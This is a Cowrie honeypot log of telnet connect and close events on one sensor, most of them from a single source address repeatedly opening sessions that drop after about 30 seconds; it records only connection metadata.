{"eventid":"cowrie.session.closed","duration":30.709933280944824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:05.253029Z","src_ip":"64.237.60.107","session":"a93c17612ed0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.381577253341675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:05.447843Z","src_ip":"64.237.60.107","session":"c34fd5ae2df5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.334222555160522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:05.480720Z","src_ip":"64.237.60.107","session":"5cfee6ba0a36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.277395009994507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:05.730996Z","src_ip":"64.237.60.107","session":"ebd9cd676ee1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82451295852661,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:05.768432Z","src_ip":"64.237.60.107","session":"27e9d6231126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.789834260940552,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:05.885923Z","src_ip":"161.0.181.239","session":"f6ce6fd2f2c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56262707710266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:06.191742Z","src_ip":"64.237.60.107","session":"c2312baeaebb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":60728,"dst_ip":"10.17.0.5","dst_port":23,"session":"0100aeb644de","protocol":"telnet","message":"New connection: 45.77.199.58:60728 (10.17.0.5:23) [session: 0100aeb644de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:06.233478Z"}
{"eventid":"cowrie.session.closed","duration":31.201961040496826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:06.329919Z","src_ip":"64.237.60.107","session":"2e2d2964cba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87761688232422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:06.348636Z","src_ip":"64.237.60.107","session":"9ed7887304d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136735677719116,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:06.423173Z","src_ip":"64.237.60.107","session":"80278d955d41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.077272653579712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:06.428630Z","src_ip":"64.237.60.107","session":"ecb314d1d09d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":60732,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b90fe2895dc","protocol":"telnet","message":"New connection: 45.77.199.58:60732 (10.17.0.5:23) [session: 2b90fe2895dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:06.740331Z"}
{"eventid":"cowrie.session.closed","duration":30.73682165145874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:07.138607Z","src_ip":"64.237.60.107","session":"8c99ee39323a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.294421911239624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:07.210828Z","src_ip":"64.237.60.107","session":"576a87f65009","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":34598,"dst_ip":"10.17.0.5","dst_port":23,"session":"79714a8317b7","protocol":"telnet","message":"New connection: 64.237.60.107:34598 (10.17.0.5:23) [session: 79714a8317b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:07.276050Z"}
{"eventid":"cowrie.session.closed","duration":31.18365716934204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:07.280628Z","src_ip":"64.237.60.107","session":"a0fff22f92be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6347713470459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:07.322396Z","src_ip":"64.237.60.107","session":"7c594ca5063c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18187975883484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:07.521564Z","src_ip":"64.237.60.107","session":"4d974fe7809f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27193331718445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:07.668221Z","src_ip":"64.237.60.107","session":"6d56c676b559","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":34606,"dst_ip":"10.17.0.5","dst_port":23,"session":"22beed751581","protocol":"telnet","message":"New connection: 64.237.60.107:34606 (10.17.0.5:23) [session: 22beed751581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:07.736600Z"}
{"eventid":"cowrie.session.closed","duration":31.304213523864746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:07.860438Z","src_ip":"45.77.199.58","session":"0e94a311f25c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92992925643921,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:08.052917Z","src_ip":"64.237.60.107","session":"a4b3f2d2bb72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91547417640686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:08.069768Z","src_ip":"64.237.60.107","session":"050151af57e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60553503036499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:08.174151Z","src_ip":"64.237.60.107","session":"48f24c7306a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54850673675537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:08.182841Z","src_ip":"64.237.60.107","session":"352b251febe1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87836003303528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:08.451031Z","src_ip":"64.237.60.107","session":"c866860a85af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":34616,"dst_ip":"10.17.0.5","dst_port":23,"session":"850652d4206d","protocol":"telnet","message":"New connection: 64.237.60.107:34616 (10.17.0.5:23) [session: 850652d4206d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:08.477993Z"}
{"eventid":"cowrie.session.closed","duration":31.120335340499878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:08.551437Z","src_ip":"64.237.60.107","session":"0cb8c83220cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":34622,"dst_ip":"10.17.0.5","dst_port":23,"session":"c18a1524b966","protocol":"telnet","message":"New connection: 64.237.60.107:34622 (10.17.0.5:23) [session: c18a1524b966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:08.659452Z"}
{"eventid":"cowrie.session.closed","duration":31.840790033340454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:08.858097Z","src_ip":"64.237.60.107","session":"6c10830c25ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":34636,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8de35f76eab","protocol":"telnet","message":"New connection: 64.237.60.107:34636 (10.17.0.5:23) [session: d8de35f76eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:09.115527Z"}
{"eventid":"cowrie.session.closed","duration":30.764230728149414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:09.248692Z","src_ip":"64.237.60.107","session":"e970728f2e7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.745912313461304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:09.309845Z","src_ip":"64.237.60.107","session":"c21ca8b8a8a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807023525238037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:09.357958Z","src_ip":"64.237.60.107","session":"7f373039d4ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.186051845550537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:09.363660Z","src_ip":"64.237.60.107","session":"34655635a909","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":34640,"dst_ip":"10.17.0.5","dst_port":23,"session":"687e74c82f9e","protocol":"telnet","message":"New connection: 64.237.60.107:34640 (10.17.0.5:23) [session: 687e74c82f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:09.369508Z"}
{"eventid":"cowrie.session.closed","duration":31.368781328201294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:09.528748Z","src_ip":"64.237.60.107","session":"f13453995877","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.020276308059692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:09.621709Z","src_ip":"64.237.60.107","session":"f62b4b5f842b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039757251739502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:09.732395Z","src_ip":"64.237.60.107","session":"7828fe832e02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":34656,"dst_ip":"10.17.0.5","dst_port":23,"session":"05144aa78fb5","protocol":"telnet","message":"New connection: 64.237.60.107:34656 (10.17.0.5:23) [session: 05144aa78fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:10.179526Z"}
{"eventid":"cowrie.session.closed","duration":31.026944875717163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:10.240419Z","src_ip":"64.237.60.107","session":"c46f3ebece0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10118293762207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:10.248659Z","src_ip":"45.77.199.58","session":"f88d85c4c906","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.363743782043457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:10.381268Z","src_ip":"64.237.60.107","session":"161c4f0d5501","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":34668,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3fadbd002ab","protocol":"telnet","message":"New connection: 64.237.60.107:34668 (10.17.0.5:23) [session: a3fadbd002ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:10.623970Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":60748,"dst_ip":"10.17.0.5","dst_port":23,"session":"723fb2739ca8","protocol":"telnet","message":"New connection: 45.77.199.58:60748 (10.17.0.5:23) [session: 723fb2739ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:10.747816Z"}
{"eventid":"cowrie.session.closed","duration":31.50513219833374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:10.881491Z","src_ip":"64.237.60.107","session":"52ad39f5ed73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99606490135193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:11.040830Z","src_ip":"64.237.60.107","session":"bb9239e75efe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19283151626587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:11.070374Z","src_ip":"45.77.199.58","session":"39c83adb393a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.816045999526978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:11.078939Z","src_ip":"64.237.60.107","session":"a14bcbdf9e81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102408409118652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:11.189586Z","src_ip":"64.237.60.107","session":"6b7fd5c1cec1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42089080810547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:11.198580Z","src_ip":"64.237.60.107","session":"650b2f8e538e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":34678,"dst_ip":"10.17.0.5","dst_port":23,"session":"105f7ae25c59","protocol":"telnet","message":"New connection: 64.237.60.107:34678 (10.17.0.5:23) [session: 105f7ae25c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:11.322050Z"}
{"eventid":"cowrie.session.closed","duration":30.528895139694214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:11.478098Z","src_ip":"64.237.60.107","session":"267989b25336","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53270435333252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:11.684721Z","src_ip":"64.237.60.107","session":"03ec243bf74e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":34682,"dst_ip":"10.17.0.5","dst_port":23,"session":"6aca15cbf23d","protocol":"telnet","message":"New connection: 64.237.60.107:34682 (10.17.0.5:23) [session: 6aca15cbf23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:12.042811Z"}
{"eventid":"cowrie.session.closed","duration":31.088459730148315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:12.299030Z","src_ip":"64.237.60.107","session":"0d2536680890","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95668363571167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:12.423948Z","src_ip":"64.237.60.107","session":"8b8362fb318c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.665238857269287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:12.528649Z","src_ip":"64.237.60.107","session":"82671daccaa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3451030254364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:12.532026Z","src_ip":"64.237.60.107","session":"df26226dba2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80640721321106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:12.574170Z","src_ip":"64.237.60.107","session":"c787808aa912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32168436050415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:12.716840Z","src_ip":"64.237.60.107","session":"a655f3251c77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":60764,"dst_ip":"10.17.0.5","dst_port":23,"session":"23dd291d6a32","protocol":"telnet","message":"New connection: 45.77.199.58:60764 (10.17.0.5:23) [session: 23dd291d6a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:12.814868Z"}
{"eventid":"cowrie.session.closed","duration":30.409991025924683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:13.027116Z","src_ip":"64.237.60.107","session":"f3287de6a2fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.820512771606445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:13.078971Z","src_ip":"64.237.60.107","session":"5f55885f78f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.241787433624268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:13.106539Z","src_ip":"64.237.60.107","session":"b6851828ae0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618080615997314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:13.115006Z","src_ip":"64.237.60.107","session":"2ff374aa0735","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":34690,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9c004cc0a75","protocol":"telnet","message":"New connection: 64.237.60.107:34690 (10.17.0.5:23) [session: f9c004cc0a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:13.164006Z"}
{"eventid":"cowrie.session.closed","duration":30.731117963790894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:13.189656Z","src_ip":"64.237.60.107","session":"96a37d2fc5ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":60770,"dst_ip":"10.17.0.5","dst_port":23,"session":"e261fc8a9361","protocol":"telnet","message":"New connection: 45.77.199.58:60770 (10.17.0.5:23) [session: e261fc8a9361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:13.248419Z"}
{"eventid":"cowrie.session.closed","duration":31.14600896835327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:13.315544Z","src_ip":"64.237.60.107","session":"199bf87b3e01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992660522460938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:13.456599Z","src_ip":"64.237.60.107","session":"8adbf7cb406f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30500817298889,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:13.989353Z","src_ip":"64.237.60.107","session":"eae1e4bc4952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72632670402527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:14.045461Z","src_ip":"64.237.60.107","session":"969f9274c6e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890669584274292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:14.082626Z","src_ip":"64.237.60.107","session":"244a2eb417fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.343406677246094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:14.196605Z","src_ip":"64.237.60.107","session":"c46e2d0a1f1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.116835832595825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:14.529220Z","src_ip":"64.237.60.107","session":"fad1fb89e831","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.417826414108276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:14.654171Z","src_ip":"64.237.60.107","session":"04841fee02ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.178850173950195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:15.101420Z","src_ip":"64.237.60.107","session":"9559cdad2a59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.013831615447998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:15.145885Z","src_ip":"64.237.60.107","session":"47c9dade73a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.096570014953613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:15.219876Z","src_ip":"45.77.199.58","session":"2713109a94d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.951964378356934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:15.226030Z","src_ip":"64.237.60.107","session":"0a278988587b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":34706,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ca594679047","protocol":"telnet","message":"New connection: 64.237.60.107:34706 (10.17.0.5:23) [session: 1ca594679047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:15.232093Z"}
{"eventid":"cowrie.session.closed","duration":31.097313165664673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:15.240211Z","src_ip":"64.237.60.107","session":"fb7887013553","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834129095077515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:15.326649Z","src_ip":"64.237.60.107","session":"8aa939fc5e8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91158413887024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:15.339994Z","src_ip":"64.237.60.107","session":"1ee38347b78d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.868726015090942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:15.402387Z","src_ip":"64.237.60.107","session":"85a1c49e91f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.916965007781982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:16.007667Z","src_ip":"64.237.60.107","session":"88a709a867b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649975538253784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:16.044015Z","src_ip":"64.237.60.107","session":"b3679868b7ab","protocol":"telnet"}
